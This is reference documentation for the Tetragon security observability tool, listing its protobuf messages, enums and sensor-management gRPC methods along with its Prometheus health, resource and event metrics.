node_name | string | Name of the node where this event was observed. | |
time | google.protobuf.Timestamp | Timestamp at which this event was observed. For an aggregated response, this field to set to the timestamp at which the event was observed for the first time in a given aggregation time window. | |
aggregation_info | AggregationInfo | aggregation_info contains information about aggregation results. This field is set only for aggregated responses. | |
cluster_name | string | Name of the cluster where this event was observed. |
ProcessThrottle
Field | Type | Label | Description |
---|---|---|---|
type | ThrottleType | Throttle type | |
cgroup | string | Cgroup name |
RateLimitInfo
Field | Type | Label | Description |
---|---|---|---|
number_of_dropped_process_events | uint64 |
RedactionFilter
Field | Type | Label | Description |
---|---|---|---|
match | Filter | repeated | Deprecated. Deprecated, do not use. |
redact | string | repeated | RE2 regular expressions to use for redaction. Strings inside capture groups are redacted. |
binary_regex | string | repeated | RE2 regular expression to match binary name. If supplied, redactions will only be applied to matching processes. |
EventType
Represents the type of a Tetragon event.
NOTE: EventType constants must be in sync with the numbers used in the GetEventsResponse event oneof.
Name | Number | Description |
---|---|---|
UNDEF | 0 | |
PROCESS_EXEC | 1 | |
PROCESS_EXIT | 5 | |
PROCESS_KPROBE | 9 | |
PROCESS_TRACEPOINT | 10 | |
PROCESS_LOADER | 11 | |
PROCESS_UPROBE | 12 | |
PROCESS_THROTTLE | 27 | |
PROCESS_LSM | 28 | |
TEST | 40000 | |
RATE_LIMIT_INFO | 40001 |
FieldFilterAction
Determines the behavior of a field filter
Name | Number | Description |
---|---|---|
INCLUDE | 0 | |
EXCLUDE | 1 |
ThrottleType
Name | Number | Description |
---|---|---|
THROTTLE_UNKNOWN | 0 | |
THROTTLE_START | 1 | |
THROTTLE_STOP | 2 |
tetragon/stack.proto
StackAddress
Field | Type | Label | Description |
---|---|---|---|
address | uint64 | ||
symbol | string |
StackTrace
Field | Type | Label | Description |
---|---|---|---|
addresses | StackAddress | repeated |
StackTraceLabel
Field | Type | Label | Description |
---|---|---|---|
key | string | ||
count | uint64 |
StackTraceNode
Field | Type | Label | Description |
---|---|---|---|
address | StackAddress | ||
count | uint64 | ||
labels | StackTraceLabel | repeated | |
children | StackTraceNode | repeated |
tetragon/sensors.proto
AddTracingPolicyRequest
Field | Type | Label | Description |
---|---|---|---|
yaml | string |
AddTracingPolicyResponse
DeleteTracingPolicyRequest
Field | Type | Label | Description |
---|---|---|---|
name | string | ||
namespace | string |
DeleteTracingPolicyResponse
DisableSensorRequest
Field | Type | Label | Description |
---|---|---|---|
name | string |
DisableSensorResponse
DisableTracingPolicyRequest
Field | Type | Label | Description |
---|---|---|---|
name | string | ||
namespace | string |
DisableTracingPolicyResponse
DumpProcessCacheReqArgs
Field | Type | Label | Description |
---|---|---|---|
skip_zero_refcnt | bool | ||
exclude_execve_map_processes | bool |
DumpProcessCacheResArgs
Field | Type | Label | Description |
---|---|---|---|
processes | ProcessInternal | repeated |
EnableSensorRequest
Field | Type | Label | Description |
---|---|---|---|
name | string |
EnableSensorResponse
EnableTracingPolicyRequest
Field | Type | Label | Description |
---|---|---|---|
name | string | ||
namespace | string |
EnableTracingPolicyResponse
GetDebugRequest
Field | Type | Label | Description |
---|---|---|---|
flag | ConfigFlag | ||
dump | DumpProcessCacheReqArgs |
GetDebugResponse
Field | Type | Label | Description |
---|---|---|---|
flag | ConfigFlag | ||
level | LogLevel | ||
processes | DumpProcessCacheResArgs |
GetStackTraceTreeRequest
Field | Type | Label | Description |
---|---|---|---|
name | string |
GetStackTraceTreeResponse
Field | Type | Label | Description |
---|---|---|---|
root | StackTraceNode |
GetVersionRequest
GetVersionResponse
Field | Type | Label | Description |
---|---|---|---|
version | string |
ListSensorsRequest
ListSensorsResponse
Field | Type | Label | Description |
---|---|---|---|
sensors | SensorStatus | repeated |
ListTracingPoliciesRequest
ListTracingPoliciesResponse
Field | Type | Label | Description |
---|---|---|---|
policies | TracingPolicyStatus | repeated |
ProcessInternal
Field | Type | Label | Description |
---|---|---|---|
process | Process | ||
color | string | ||
refcnt | google.protobuf.UInt32Value | ||
refcnt_ops | ProcessInternal.RefcntOpsEntry | repeated | refcnt_ops is a map of operations to refcnt change keys can be: - "process++": process increased refcnt (i.e. this process starts) - "process–": process decreased refcnt (i.e. this process exits) - "parent++": parent increased refcnt (i.e. a process starts that has this process as a parent) - "parent–": parent decreased refcnt (i.e. a process exits that has this process as a parent) |
ProcessInternal.RefcntOpsEntry
Field | Type | Label | Description |
---|---|---|---|
key | string | ||
value | int32 |
RemoveSensorRequest
Field | Type | Label | Description |
---|---|---|---|
name | string |
RemoveSensorResponse
SensorStatus
Field | Type | Label | Description |
---|---|---|---|
name | string | name is the name of the sensor | |
enabled | bool | enabled marks whether the sensor is enabled | |
collection | string | collection is the collection the sensor belongs to (typically a tracing policy) |
SetDebugRequest
Field | Type | Label | Description |
---|---|---|---|
flag | ConfigFlag | ||
level | LogLevel |
SetDebugResponse
Field | Type | Label | Description |
---|---|---|---|
flag | ConfigFlag | ||
level | LogLevel |
TracingPolicyStatus
Field | Type | Label | Description |
---|---|---|---|
id | uint64 | id is the id of the policy | |
name | string | name is the name of the policy | |
namespace | string | namespace is the namespace of the policy (or empty of the policy is global) | |
info | string | info is additional information about the policy | |
sensors | string | repeated | sensors loaded in the scope of this policy |
enabled | bool | Deprecated. indicating if the policy is enabled. Deprecated: use 'state' instead. | |
filter_id | uint64 | filter ID of the policy used for k8s filtering | |
error | string | potential error of the policy | |
state | TracingPolicyState | current state of the tracing policy | |
kernel_memory_bytes | uint64 | the amount of kernel memory in bytes used by policy's sensors non-shared BPF maps (memlock) |
ConfigFlag
For now, we only want to support debug-related config flags to be configurable.
Name | Number | Description |
---|---|---|
CONFIG_FLAG_LOG_LEVEL | 0 | |
CONFIG_FLAG_DUMP_PROCESS_CACHE | 1 |
LogLevel
Name | Number | Description |
---|---|---|
LOG_LEVEL_PANIC | 0 | |
LOG_LEVEL_FATAL | 1 | |
LOG_LEVEL_ERROR | 2 | |
LOG_LEVEL_WARN | 3 | |
LOG_LEVEL_INFO | 4 | |
LOG_LEVEL_DEBUG | 5 | |
LOG_LEVEL_TRACE | 6 |
TracingPolicyState
Name | Number | Description |
---|---|---|
TP_STATE_UNKNOWN | 0 | unknown state |
TP_STATE_ENABLED | 1 | loaded and enabled |
TP_STATE_DISABLED | 2 | loaded but disabled |
TP_STATE_LOAD_ERROR | 3 | failed to load |
TP_STATE_ERROR | 4 | failed during lifetime |
TP_STATE_LOADING | 5 | in the process of loading |
TP_STATE_UNLOADING | 6 | in the process of unloading |
FineGuidanceSensors
Method Name | Request Type | Response Type | Description |
---|---|---|---|
GetEvents | GetEventsRequest | GetEventsResponse stream | |
GetHealth | GetHealthStatusRequest | GetHealthStatusResponse | |
AddTracingPolicy | AddTracingPolicyRequest | AddTracingPolicyResponse | |
DeleteTracingPolicy | DeleteTracingPolicyRequest | DeleteTracingPolicyResponse | |
ListTracingPolicies | ListTracingPoliciesRequest | ListTracingPoliciesResponse | |
EnableTracingPolicy | EnableTracingPolicyRequest | EnableTracingPolicyResponse | |
DisableTracingPolicy | DisableTracingPolicyRequest | DisableTracingPolicyResponse | |
ListSensors | ListSensorsRequest | ListSensorsResponse | |
EnableSensor | EnableSensorRequest | EnableSensorResponse | |
DisableSensor | DisableSensorRequest | DisableSensorResponse | |
RemoveSensor | RemoveSensorRequest | RemoveSensorResponse | |
GetStackTraceTree | GetStackTraceTreeRequest | GetStackTraceTreeResponse | |
GetVersion | GetVersionRequest | GetVersionResponse | |
RuntimeHook | RuntimeHookRequest | RuntimeHookResponse | |
GetDebug | GetDebugRequest | GetDebugResponse | |
SetDebug | SetDebugRequest | SetDebugResponse |
Scalar Value Types
.proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby |
---|---|---|---|---|---|---|---|---|
double | double | double | float | float64 | double | float | Float | |
float | float | float | float | float32 | float | float | Float | |
int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) |
int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum |
uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) |
uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) |
sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) |
sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum |
fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) |
fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum |
sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) |
sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum |
bool | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | |
string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) |
bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) |
4 - Metrics
Tetragon Health Metrics
tetragon_bpf_missed_events_total
Number of Tetragon perf events that are failed to be sent from the kernel.
label | values |
---|---|
error | E2BIG, EBUSY, EINVAL, ENOENT, ENOSPC, unknown |
msg_op | 13, 14, 15, 16, 23, 24, 25, 26, 27, 5, 7 |
tetragon_build_info
Build information about tetragon
label | values |
---|---|
commit | 931b70f2c9878ba985ba6b589827bea17da6ec33 |
go_version | go1.22.0 |
modified | false |
time | 2022-05-13T15:54:45Z |
version | v1.2.0 |
tetragon_data_cache_capacity
The capacity of the data cache.
tetragon_data_cache_evictions_total
Number of data cache LRU evictions.
tetragon_data_cache_misses_total
Number of data cache misses.
label | values |
---|---|
operation | get, remove |
tetragon_data_cache_size
The size of the data cache
tetragon_data_event_size
The size of received data events.
label | values |
---|---|
op | bad, ok |
tetragon_data_events_total
The number of data events by type. For internal use only.
label | values |
---|---|
event | Added, Appended, Bad, Matched, NotMatched, Received |
tetragon_enforcer_missed_notifications_total
The number of missed notifications by the enforcer.
label | values |
---|---|
info | syscall |
policy | policy-name |
reason | reason |
tetragon_errors_total
The total number of Tetragon errors. For internal use only.
label | values |
---|---|
type | event_finalize_process_info_failed, process_metadata_username_failed, process_metadata_username_ignored_not_in_host_namespaces, process_pid_tid_mismatch |
tetragon_event_cache_entries
The number of entries in the event cache.
tetragon_event_cache_errors_total
The total of errors encountered while fetching process exec information from the cache.
label | values |
---|---|
error | nil_process_pid |
event_type | PROCESS_EXEC, PROCESS_EXIT, PROCESS_KPROBE, PROCESS_LOADER, PROCESS_LSM, PROCESS_THROTTLE, PROCESS_TRACEPOINT, PROCESS_UPROBE, RATE_LIMIT_INFO |
tetragon_event_cache_fetch_failures_total
Number of failed fetches from the event cache. These won’t be retried as they already exceeded the limit.
label | values |
---|---|
entry_type | parent_info, pod_info, process_info |
event_type | PROCESS_EXEC, PROCESS_EXIT, PROCESS_KPROBE, PROCESS_LOADER, PROCESS_LSM, PROCESS_THROTTLE, PROCESS_TRACEPOINT, PROCESS_UPROBE, RATE_LIMIT_INFO |
tetragon_event_cache_fetch_retries_total
Number of retries when fetching info from the event cache.
label | values |
---|---|
entry_type | parent_info, pod_info, process_info |
tetragon_event_cache_inserts_total
Number of inserts to the event cache.
tetragon_events_exported_bytes_total
Number of bytes exported for events
tetragon_events_exported_total
Total number of events exported
tetragon_events_last_exported_timestamp
Timestamp of the most recent event to be exported
tetragon_events_missing_process_info_total
Number of events missing process info.
tetragon_export_ratelimit_events_dropped_total
Number of events dropped on export due to rate limiting
tetragon_flags_total
The total number of Tetragon flags. For internal use only.
label | values |
---|---|
type | auid, clone, errorArgs, errorCWD, errorCgroupID, errorCgroupKn, errorCgroupName, errorCgroupSubsys, errorCgroupSubsysCgrp, errorCgroups, errorFilename, errorPathResolutionCwd, execve, execveat, miss, nocwd, procFS, rootcwd, taskWalk, truncArgs, truncFilename |
tetragon_generic_kprobe_merge_errors_total
The total number of failed attempts to merge a kprobe and kretprobe event.
label | values |
---|---|
curr_fn | example_kprobe |
curr_type | enter, exit |
prev_fn | example_kprobe |
prev_type | enter, exit |
tetragon_generic_kprobe_merge_ok_total
The total number of successful attempts to merge a kprobe and kretprobe event.
tetragon_generic_kprobe_merge_pushed_total
The total number of pushed events for later merge.
tetragon_handler_errors_total
The total number of event handler errors. For internal use only.
label | values |
---|---|
error_type | event_handler_failed, unknown_opcode |
opcode | 0, 13, 14, 15, 16, 23, 24, 25, 26, 27, 5, 7 |
tetragon_handling_latency
The latency of handling messages in us.
label | values |
---|---|
op | 13, 14, 15, 16, 23, 24, 25, 26, 27, 5, 7 |
tetragon_map_capacity
Capacity of a BPF map. Expected to be constant.
label | values |
---|---|
map | execve_map, tg_execve_joined_info_map |
tetragon_map_entries
The total number of in-use entries per map.
label | values |
---|---|
map | execve_map, tg_execve_joined_info_map |
tetragon_map_errors_total
The number of errors per map.
label | values |
---|---|
map | execve_map, tg_execve_joined_info_map |
tetragon_missed_link_probes_total
The total number of Tetragon probe missed by link.
label | values |
---|---|
attach | sys_panic |
policy | monitor_panic |
tetragon_missed_prog_probes_total
The total number of Tetragon probe missed by program.
label | values |
---|---|
attach | sys_panic |
policy | monitor_panic |
tetragon_msg_op_total
The total number of times we encounter a given message opcode. For internal use only.
label | values |
---|---|
msg_op | 13, 14, 15, 16, 23, 24, 25, 26, 27, 5, 7 |
tetragon_notify_overflowed_events_total
The total number of events dropped because listener buffer was full
tetragon_observer_ringbuf_errors_total
Number of errors when reading Tetragon ring buffer.
tetragon_observer_ringbuf_events_lost_total
Number of perf events Tetragon ring buffer lost.
tetragon_observer_ringbuf_events_received_total
Number of perf events Tetragon ring buffer received.
tetragon_observer_ringbuf_queue_events_lost_total
Number of perf events Tetragon ring buffer events queue lost.
tetragon_observer_ringbuf_queue_events_received_total
Number of perf events Tetragon ring buffer events queue received.
tetragon_overhead_program_runs_total
The total number of times BPF program was executed.
label | values |
---|---|
attach | sys_open |
policy | enforce |
policy_namespace | ns |
section | kprobe/sys_open |
sensor | generic_kprobe |
tetragon_overhead_program_seconds_total
The total time of BPF program running.
label | values |
---|---|
attach | sys_open |
policy | enforce |
policy_namespace | ns |
section | kprobe/sys_open |
sensor | generic_kprobe |
tetragon_policyfilter_hook_container_name_missing_total
The total number of operations when the container name was missing in the OCI hook
tetragon_policyfilter_operations_total
Number of policy filter operations.
label | values |
---|---|
error | generic-error, pod-namespace-conflict |
operation | add, add-container, delete, update |
subsys | pod-handlers, rthooks |
tetragon_process_cache_capacity
The capacity of the process cache. Expected to be constant.
tetragon_process_cache_evictions_total
Number of process cache LRU evictions.
tetragon_process_cache_misses_total
Number of process cache misses.
label | values |
---|---|
operation | get, remove |
tetragon_process_cache_size
The size of the process cache
tetragon_process_loader_stats
Process Loader event statistics. For internal use only.
label | values |
---|---|
count | LoaderReceived, LoaderResolvedImm, LoaderResolvedRetry |
tetragon_tracingpolicy_kernel_memory_bytes
The amount of kernel memory in bytes used by policy’s sensors non-shared BPF maps (memlock).
label | values |
---|---|
policy | example-tracingpolicy |
policy_namespace | example-namespace |
tetragon_tracingpolicy_loaded
The number of loaded tracing policy by state.
label | values |
---|---|
state | disabled, enabled, error, load_error |
tetragon_watcher_delete_pod_cache_hits
The total hits for pod information in the deleted pod cache.
tetragon_watcher_errors_total
The total number of errors for a given watcher type.
label | values |
---|---|
error | failed_to_get_pod |
watcher | k8s |
tetragon_watcher_events_total
The total number of events for a given watcher type.
label | values |
---|---|
watcher | k8s |
Tetragon Resources Metrics
go_gc_duration_seconds
A summary of the wall-time pause (stop-the-world) duration in garbage collection cycles.
go_gc_gogc_percent
Heap size target percentage configured by the user, otherwise 100. This value is set by the GOGC environment variable, and the runtime/debug.SetGCPercent function. Sourced from /gc/gogc:percent
go_gc_gomemlimit_bytes
Go runtime memory limit configured by the user, otherwise math.MaxInt64. This value is set by the GOMEMLIMIT environment variable, and the runtime/debug.SetMemoryLimit function. Sourced from /gc/gomemlimit:bytes
go_goroutines
Number of goroutines that currently exist.
go_info
Information about the Go environment.
label | values |
---|---|
version | go1.22.0 |
go_memstats_alloc_bytes
Number of bytes allocated in heap and currently in use. Equals to /memory/classes/heap/objects:bytes.
go_memstats_alloc_bytes_total
Total number of bytes allocated in heap until now, even if released already. Equals to /gc/heap/allocs:bytes.
go_memstats_buck_hash_sys_bytes
Number of bytes used by the profiling bucket hash table. Equals to /memory/classes/profiling/buckets:bytes.
go_memstats_frees_total
Total number of heap objects frees. Equals to /gc/heap/frees:objects + /gc/heap/tiny/allocs:objects.
go_memstats_gc_sys_bytes
Number of bytes used for garbage collection system metadata. Equals to /memory/classes/metadata/other:bytes.
go_memstats_heap_alloc_bytes
Number of heap bytes allocated and currently in use, same as go_memstats_alloc_bytes. Equals to /memory/classes/heap/objects:bytes.
go_memstats_heap_idle_bytes
Number of heap bytes waiting to be used. Equals to /memory/classes/heap/released:bytes + /memory/classes/heap/free:bytes.
go_memstats_heap_inuse_bytes
Number of heap bytes that are in use. Equals to /memory/classes/heap/objects:bytes + /memory/classes/heap/unused:bytes
go_memstats_heap_objects
Number of currently allocated objects. Equals to /gc/heap/objects:objects.
go_memstats_heap_released_bytes
Number of heap bytes released to OS. Equals to /memory/classes/heap/released:bytes.
go_memstats_heap_sys_bytes
Number of heap bytes obtained from system. Equals to /memory/classes/heap/objects:bytes + /memory/classes/heap/unused:bytes + /memory/classes/heap/released:bytes + /memory/classes/heap/free:bytes.
go_memstats_last_gc_time_seconds
Number of seconds since 1970 of last garbage collection.
go_memstats_mallocs_total
Total number of heap objects allocated, both live and gc-ed. Semantically a counter version for go_memstats_heap_objects gauge. Equals to /gc/heap/allocs:objects + /gc/heap/tiny/allocs:objects.
go_memstats_mcache_inuse_bytes
Number of bytes in use by mcache structures. Equals to /memory/classes/metadata/mcache/inuse:bytes.
go_memstats_mcache_sys_bytes
Number of bytes used for mcache structures obtained from system. Equals to /memory/classes/metadata/mcache/inuse:bytes + /memory/classes/metadata/mcache/free:bytes.
go_memstats_mspan_inuse_bytes
Number of bytes in use by mspan structures. Equals to /memory/classes/metadata/mspan/inuse:bytes.
go_memstats_mspan_sys_bytes
Number of bytes used for mspan structures obtained from system. Equals to /memory/classes/metadata/mspan/inuse:bytes + /memory/classes/metadata/mspan/free:bytes.
go_memstats_next_gc_bytes
Number of heap bytes when next garbage collection will take place. Equals to /gc/heap/goal:bytes.
go_memstats_other_sys_bytes
Number of bytes used for other system allocations. Equals to /memory/classes/other:bytes.
go_memstats_stack_inuse_bytes
Number of bytes obtained from system for stack allocator in non-CGO environments. Equals to /memory/classes/heap/stacks:bytes.
go_memstats_stack_sys_bytes
Number of bytes obtained from system for stack allocator. Equals to /memory/classes/heap/stacks:bytes + /memory/classes/os-stacks:bytes.
go_memstats_sys_bytes
Number of bytes obtained from system. Equals to /memory/classes/total:byte.
go_sched_gomaxprocs_threads
The current runtime.GOMAXPROCS setting, or the number of operating system threads that can execute user-level Go code simultaneously. Sourced from /sched/gomaxprocs:threads
go_sched_latencies_seconds
Distribution of the time goroutines have spent in the scheduler in a runnable state before actually running. Bucket counts increase monotonically. Sourced from /sched/latencies:seconds
go_threads
Number of OS threads created.
process_cpu_seconds_total
Total user and system CPU time spent in seconds.
process_max_fds
Maximum number of open file descriptors.
process_network_receive_bytes_total
Number of bytes received by the process over the network.
process_network_transmit_bytes_total
Number of bytes sent by the process over the network.
process_open_fds
Number of open file descriptors.
process_resident_memory_bytes
Resident memory size in bytes.
process_start_time_seconds
Start time of the process since unix epoch in seconds.
process_virtual_memory_bytes
Virtual memory size in bytes.
process_virtual_memory_max_bytes
Maximum amount of virtual memory available in bytes.
Tetragon Events Metrics
tetragon_events_total
The total number of Tetragon events
label | values |
---|---|
binary | example-binary |
namespace | example-namespace |
pod | example-pod |
type | PROCESS_EXEC, PROCESS_EXIT, PROCESS_KPROBE, PROCESS_LOADER, PROCESS_LSM, PROCESS_THROTTLE, PROCESS_TRACEPOINT, PROCESS_UPROBE, RATE_LIMIT_INFO |
workload | example-workload |
tetragon_policy_events_total
Policy events calls observed.
label | values |
---|---|
binary | example-binary |
hook | example_kprobe |
namespace | example-namespace |
pod | example-pod |
policy | example-tracingpolicy |
workload | example-workload |
tetragon_syscalls_total
System calls observed.
label | values |
---|---|
binary | example-binary |
namespace | example-namespace |
pod | example-pod |
syscall | example_syscall |
workload | example-workload |